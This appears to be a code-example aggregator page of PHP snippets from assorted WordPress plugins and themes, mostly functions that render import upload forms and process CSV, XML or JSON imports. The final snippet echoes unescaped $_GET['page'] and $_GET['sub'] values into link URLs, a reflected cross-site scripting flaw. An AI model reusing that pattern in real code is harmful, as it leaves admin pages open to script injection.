コード例 #16
0
 public function csv_importer()
 {
     // Load Importer API
     require_once ABSPATH . 'wp-admin/includes/import.php';
     if (!class_exists('WP_Importer')) {
         $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php';
         if (file_exists($class_wp_importer)) {
             require_once $class_wp_importer;
         }
     }
     if (empty($_FILES)) {
         //echo '<form method="POST" action="" enctype="multipart/form-data">';
         echo "<p>Use the form below to upload your CSV file for importing.</p>";
         echo "<p><strong>Example CSV Data:</strong></p>";
         echo "<p><code>'Title','Body','Client Name','E-Mail Address','Position / Location / Other','Location / Product / Other','Rating','HTID','Featured Image','Categories'</code></p>";
         echo "<p><strong>Please Note:</strong> the first line of the CSV will need to match the text in the above example, for the Import to work.  Featured Image is expecting a path to an accessible image online.  Depending on your server settings, you may need to run the import several times if your script times out.</p>";
         echo '<div class="gp_upload_file_wrapper">';
         ob_start();
         wp_import_upload_form(add_query_arg('step', 1));
         $import_form_html = ob_get_contents();
         $import_form_html = str_replace('<form ', '<div data-gp-ajax-form="1" ', $import_form_html);
         $import_form_html = str_replace('</form>', '</div>', $import_form_html);
         // must remove this hidden "action" input, or the form will not
         // save proerly (it will keep going to options.php)
         $import_form_html = str_replace('<input type="hidden" name="action" value="save" />', '', $import_form_html);
         ob_end_clean();
         echo $import_form_html;
         echo '</div>';
         //echo '</form>';
     } else {
         $file = wp_import_handle_upload();
         echo '<h4>Log</h4>';
         echo '<textarea rows="20" class="import_response">';
         //if there is an error, output a message containing the error
         if (isset($file['error'])) {
             echo "Sorry, there has been an error.\n";
             echo esc_html($file['error']) . "\n";
             // if the file doesn't exists, output a message about it
         } else {
             if (!file_exists($file['file'])) {
                 echo "Sorry, there has been an error.\n";
                 printf("The export file could not be found at %s. It is likely that this was caused by a permissions problem.\n", esc_html($file['file']));
                 // otherwise, if there is no error and the file exists, go ahead and process the file
             } else {
                 $fileid = (int) $file['id'];
                 $file = get_attached_file($fileid);
                 $this->import_testimonials_from_csv($file);
                 echo "\nTestimonials successfully imported!\n";
             }
         }
         echo '</textarea>';
         //close response
         echo '<p><a class="button-primary button" href="/wp-admin/admin.php?page=easy-testimonials-import-export" title="Import More Testimonials">Import More Testimonials</a></p>';
     }
 }
コード例 #17
0
 function greet()
 {
     wp_import_upload_form(add_query_arg('step', 1));
 }
 /**
  * greet function.
  */
 public function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Choose a .csv file to upload, then click "Upload file and import".', 'wp-club-manager') . '</p>';
     echo '<p>' . sprintf(__('Players need to be defined with columns in a specific order (11 columns). <a href="%s">Click here to download a sample</a>.', 'wp-club-manager'), plugin_dir_url(WPCM_PLUGIN_FILE) . 'dummy-data/player-sample.csv') . '</p>';
     wp_import_upload_form('admin.php?import=wpclubmanager_player_csv&step=1');
     echo '</div>';
 }
コード例 #19
0
 /**
  * Display introductory text and file upload form
  */
 function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Howdy! Upload your Blogger Exported XML file and we&#8217;ll import the contents from it into this site.', 'blogger-importer') . '</p>';
     echo '<p>' . __('Choose an XML file to upload, then click Upload file and import.', 'blogger-importer') . '</p>';
     wp_import_upload_form('admin.php?import=blogger&amp;step=1');
     echo '</div>';
 }
コード例 #20
0
 /**
  * Display introductory text and file upload form
  */
 function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Howdy! Upload your Kipling DTD XML file and we&#8217;ll import the articles, keywords, subjects, and users into this site.', 'anno') . '</p>';
     echo '<p>' . __('Choose a Kipling DTD XML (.xml) file to upload, then click Upload file and import.', 'anno') . '</p>';
     wp_import_upload_form('admin.php?import=kipling_dtd_xml&amp;step=1');
     echo '</div>';
 }
コード例 #21
0
 /**
  * Display introductory text and file upload form.
  *
  * @return void
  */
 private function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Howdy! Upload your WordPress options JSON file and we&#8217;ll import the desired data. You&#8217;ll have a chance to review the data prior to import.', 'wp-options-importer') . '</p>';
     echo '<p>' . __('Choose a JSON (.json) file to upload, then click Upload file and import.', 'wp-options-importer') . '</p>';
     wp_import_upload_form('admin.php?import=wp-options-import&amp;step=1');
     echo '</div>';
 }
コード例 #22
0
 /**
  * Display introductory text and file upload form
  */
 function greet()
 {
     $this->server_settings();
     echo '<p class="text-style">' . theme_locals("select_xml") . '</p>';
     if (get_option('cherry_sample_data')) {
         echo "<p class='text-style' style='color:#BD362F'>" . theme_locals('sample_data_import_warning') . "</p>";
     }
     wp_import_upload_form($this->step2);
     echo '<form enctype="multipart/form-data" id="skip-import-data" method="post" action="' . $this->step3 . '">';
     echo '<p class="submit"><input type="submit" class="btn-link" value="' . theme_locals("skip") . '"></p>';
     echo '</form>';
     echo '<div class="clear"></div>';
 }
コード例 #23
0
	function greet() {
		echo '<p>'.__('Howdy! This importer allows you to extract posts from LiveJournal XML export file into your blog.  Pick a LiveJournal file to upload and click Import.').'</p>';
		wp_import_upload_form("admin.php?import=livejournal&amp;step=1");
	}
コード例 #24
0
 private function lastfmimport_greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Upload your Last.fm zip export file and import your Scrobbles to the PlaylistLog') . '</p>';
     wp_import_upload_form("admin.php?import=lastfm&amp;step=1");
     echo '</div>';
 }
コード例 #25
0
    /**
     * admin_screen()
     *
     * Load the admin screen.
     *
     * @since 1.0.0
     */
    function admin_screen()
    {
        $export_type = 'all';
        if (isset($_POST['export-type'])) {
            $export_type = esc_attr($_POST['export-type']);
        }
        ?>
	<div class="wrap">
		<?php 
        echo get_screen_icon($screen = 'import-export');
        ?>
	
		<h2><?php 
        esc_html_e('Import / Export');
        ?>
</h2>
		<?php 
        wp_register_style('general', get_template_directory_uri() . 'inc/admin/css/admin-style.css', array(), '', 'screen');
        ?>
		<div id="of_container">    
            <div class="custom-toggle" style="background-color: #9afaa3;">    
                <h4><?php 
        esc_html_e('Import Settings');
        ?>
</h4>            
            </div>
			<div class="inner-toggle" style="display: block; background-color: #cefad2;">
                <div class="import">
                    <h4><?php 
        esc_html_e('Import Theme Options Value Settings');
        ?>
</h4>
			        <p><?php 
        esc_html_e('If you have settings in a backup file on your computer, the Import / Export system can import those into this site. To get started, upload your backup file to import from below.');
        ?>
</p>
				    <form enctype="multipart/form-data" method="post" action="<?php 
        echo admin_url('admin.php?page=' . $this->token);
        ?>
">
					    <?php 
        wp_nonce_field('OptionsFramework-backup-import');
        ?>
					    <label for="OptionsFramework-import-file"><?php 
        printf(esc_html_e('Upload File: (Maximum Size: 800M)'), ini_get('post_max_size'));
        ?>
</label>
					    <input type="file" id="OptionsFramework-import-file" name="OptionsFramework-import-file" size="25" />
					    <input type="hidden" name="OptionsFramework-backup-import" value="1" />
					    <input type="submit" class="button" value="<?php 
        esc_html_e('Upload File and Import');
        ?>
" />
				    </form>
                </div>
                <div id="of_container" style="width: 820px;">                     
                    <div class="inner-toggle" style="display: block; background-color: #fcfbe8;">   
                        <div class="export">
                            <h4><?php 
        esc_html_e('Export Theme Options Value Settings');
        ?>
</h4>
                            <p><?php 
        esc_html_e('When you click the button below, the Import / Export system will create a text file for you to save to your computer.');
        ?>
</p>
                            <p><?php 
        echo sprintf(__('This text file can be used to restore your settings here on "%s", or to easily setup another website with the same settings".'), get_bloginfo('name'));
        ?>
</p>
                            <form method="post" action="<?php 
        echo admin_url('admin.php?page=' . $this->token);
        ?>
">
                                <?php 
        wp_nonce_field('OptionsFramework-backup-export');
        ?>
                                <input type="hidden" name="OptionsFramework-backup-export" value="1" />
                                <input type="submit" class="button" value="<?php 
        _e('Download Export File', 'OptionsFramework');
        ?>
" />
                            </form>
                        </div>
                    </div>
                </div>
            </div>
           
		</div>
	</div><!--/.wrap-->
    
                                                    
    <div id="of_container">
        <div class="custom-toggle" style="background-color: #9adffa;">
            <h4><?php 
        echo __('Import Wordpress Post', 'wordpress-importer');
        ?>
</h4>            
        </div>
        <div class="inner-toggle" style="display: block; background-color: #e2f3fa;">
        <?php 
        echo '<div class="narrow">';
        echo '<h4>' . __('Import Wordpress Post', 'wordpress-importer') . '</h4>';
        echo '<p>' . __('Choose a WXR (.xml) file to upload, then click Upload file and import.', 'wordpress-importer') . '</p>';
        wp_import_upload_form('admin.php?import=wordpress&amp;step=1');
        echo '</div>';
        ?>
        </div>
    </div>
   
    
<?php 
    }
コード例 #26
0
 /**
  * Display introductory text and file upload form
  */
 function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Re-Upload your normal WordPress eXtended RSS (WXR) file and we&#8217;ll import the Nav Menu Roles and any other missing post meta for the Nav Menu items.', 'nav-menu-roles') . '</p>';
     echo '<p>' . __('Choose a WXR (.xml) file to upload, then click Upload file and import.', 'nav-menu-roles') . '</p>';
     wp_import_upload_form('admin.php?import=nav_menu_roles&amp;step=1');
     echo '</div>';
 }
コード例 #27
0
 function greet()
 {
     echo '<p>' . __('Howdy! This importer allows you to extract posts from any RSS 2.0 file into your blog. This is useful if you want to import your posts from a system that is not handled by a custom import tool. Pick an RSS file to upload and click Import.') . '</p>';
     wp_import_upload_form("admin.php?import=rss&amp;step=1");
 }
コード例 #28
0
 /**
  * greet function.
  *
  * @access public
  * @return void
  */
 function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Hi there! Choose a .csv file to upload, then click "Upload file and import".', 'sportspress') . '</p>';
     echo '<p>' . sprintf(__('Events need to be defined with columns in a specific order (3+ columns). <a href="%s">Click here to download a sample</a>.', 'sportspress'), plugin_dir_url(SP_PLUGIN_FILE) . 'dummy-data/events-sample.csv') . '</p>';
     echo '<p>' . sprintf(__('Supports CSV files generated by <a href="%s">LeagueLobster</a>.', 'sportspress'), 'http://tboy.co/leaguelobster') . '</p>';
     wp_import_upload_form('admin.php?import=sp_event_csv&step=1');
     echo '</div>';
 }
コード例 #29
0
 /**
  * greet function.
  *
  * @access public
  * @return void
  */
 function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Hi there! Choose a .csv file to upload, then click "Upload file and import".', 'sportspress') . '</p>';
     echo '<p>' . sprintf(__('Teams need to be defined with columns in a specific order (3 columns). <a href="%s">Click here to download a sample</a>.', 'sportspress'), plugin_dir_url(SP_PLUGIN_FILE) . 'dummy-data/teams-sample.csv') . '</p>';
     wp_import_upload_form('admin.php?import=sp_team_csv&step=1');
     echo '</div>';
 }
コード例 #30
0
/**
 * Import names from a csv file into directory
 */
function name_directory_import()
{
    if (!current_user_can('manage_options')) {
        wp_die(__('You do not have sufficient permissions to access this page.', 'name-directory'));
    }
    global $wpdb;
    global $table_directory;
    global $table_directory_name;
    $directory_id = intval($_GET['dir']);
    $import_success = false;
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $file = wp_import_handle_upload();
        if (isset($file['error'])) {
            echo $file['error'];
            return;
        }
        $csv = array_map('str_getcsv', file($file['file']));
        wp_import_cleanup($file['id']);
        array_shift($csv);
        $names_imported = 0;
        $names_duplicate = 0;
        foreach ($csv as $entry) {
            if (!($prepared_row = name_directory_prepared_import_row($entry))) {
                continue;
            }
            if (name_directory_name_exists_in_directory($prepared_row['name'], $directory_id)) {
                $names_duplicate++;
                continue;
            }
            $wpdb->insert($table_directory_name, array('directory' => $directory_id, 'name' => stripslashes_deep($prepared_row['name']), 'letter' => name_directory_get_first_char($prepared_row['name']), 'description' => stripslashes_deep($prepared_row['description']), 'published' => $prepared_row['published'], 'submitted_by' => $prepared_row['submitted_by']), array('%d', '%s', '%s', '%s', '%d', '%s'));
            $names_imported++;
        }
        $notice_class = 'updated';
        $import_success = true;
        $import_message = sprintf(__('Imported %d entries in this directory', 'name-directory'), $names_imported);
        if ($names_imported === 0) {
            $notice_class = 'error';
            $import_success = false;
            $import_message = __('Could not import any names into Name Directory', 'name-directory');
        }
        if ($names_duplicate > 0) {
            $ignored = count($csv) == $names_duplicate ? __('all', 'name-directory') : $names_duplicate;
            echo '<div class="error" style="border-left: 4px solid #ffba00;"><p>' . sprintf(__('Ignored %s names, because they were duplicate (already in the directory)', 'name-directory'), $ignored) . '</p></div>';
        } elseif ($names_imported === 0) {
            $import_message .= ', ' . __('please check your .csv-file', 'name-directory');
        }
        echo '<div class="' . $notice_class . '"><p>' . $import_message . '</p></div>';
    }
    $wp_file = admin_url('options-general.php');
    $wp_page = $_GET['page'];
    $wp_sub = $_GET['sub'];
    $overview_url = sprintf("%s?page=%s", $wp_file, $wp_page);
    $wp_url_path = sprintf("%s?page=%s&sub=%s&dir=%d", $wp_file, $wp_page, $wp_sub, $directory_id);
    $wp_ndir_path = sprintf("%s?page=%s&sub=%s&dir=%d", $wp_file, $wp_page, 'manage-directory', $directory_id);
    $directory = $wpdb->get_row("SELECT * FROM " . $table_directory . " WHERE `id` = " . $directory_id, ARRAY_A);
    echo '<div class="wrap">';
    echo '<h2>' . sprintf(__('Import names for %s', 'name-directory'), $directory['name']) . '</h2>';
    echo '<div class="narrow"><p>';
    if (!$import_success && empty($names_duplicate)) {
        echo __('Use the upload form below to upload a .csv-file containing all of your names (in the first column), description and submitter are optional.', 'name-directory') . ' ';
        echo '<h4>' . __('If you saved it from Excel or OpenOffice, please ensure that:', 'name-directory') . '</h4> ';
        echo '<ol><li>' . __('There is a header row (this contains the column names, the first row will NOT be imported)', 'name-directory');
        echo '</li><li>' . __('Fields are encapsulated by double quotes', 'name-directory');
        echo '</li><li>' . __('Fields are comma-separated', 'name-directory');
        echo '</li></ol>';
        echo '<h4>' . __('If uploading or importing fails, these are your options', 'name-directory') . ':</h4><ol><li>';
        echo sprintf(__('Please check out %s first and ensure your file is formatted the same.', 'name-directory'), '<a href="http://plugins.svn.wordpress.org/name-directory/assets/name-directory-import-example.csv" target="_blank">' . __('the example import file', 'name-directory') . '</a>') . '</li>';
        echo '<li>
                <a href="https://wiki.openoffice.org/wiki/Documentation/OOo3_User_Guides/Calc_Guide/Saving_spreadsheets#Saving_as_a_CSV_file">OpenOffice csv-export help</a>
              </li>
              <li>
                <a href="https://support.office.com/en-us/article/Import-or-export-text-txt-or-csv-files-e8ab9ff3-be8d-43f1-9d52-b5e8a008ba5c?CorrelationId=fa46399d-2d7a-40bd-b0a5-27b99e96cf68&ui=en-US&rs=en-US&ad=US#bmexport">Excel csv-export help</a>
              </li>
              <li>
                <a href="http://www.freefileconvert.com" target="_blank">' . __('Use an online File Convertor', 'name-directory') . '</a>
              </li><li>';
        echo sprintf(__('If everything else fails, you can always ask a question at the %s.', 'name-directory'), '<a href="https://wordpress.org/support/plugin/name-directory" target="_blank">' . __('plugin support forums', 'name-directory') . '</a>') . ' ';
        echo '</li></ol></p>';
        if (!function_exists('str_getcsv')) {
            echo '<div class="error"><p>';
            echo __('Name Directory Import requires PHP 5.3, you seem to have in older version. Importing names will not work for your website.', 'name-directory');
            echo '</p></div>';
        }
        echo '<h3>' . __('Upload your .csv-file', 'name-directory') . '</h3>';
        wp_import_upload_form($wp_url_path);
    }
    echo '</div></div>';
    echo '<a href="' . $wp_ndir_path . '">' . sprintf(__('Back to %s', 'name-directory'), '<i>' . $directory['name'] . '</i>') . '</a>';
    echo ' | ';
    echo '<a href="' . $overview_url . '">' . __('Go to Name Directory Overview', 'name-directory') . '</a>';
}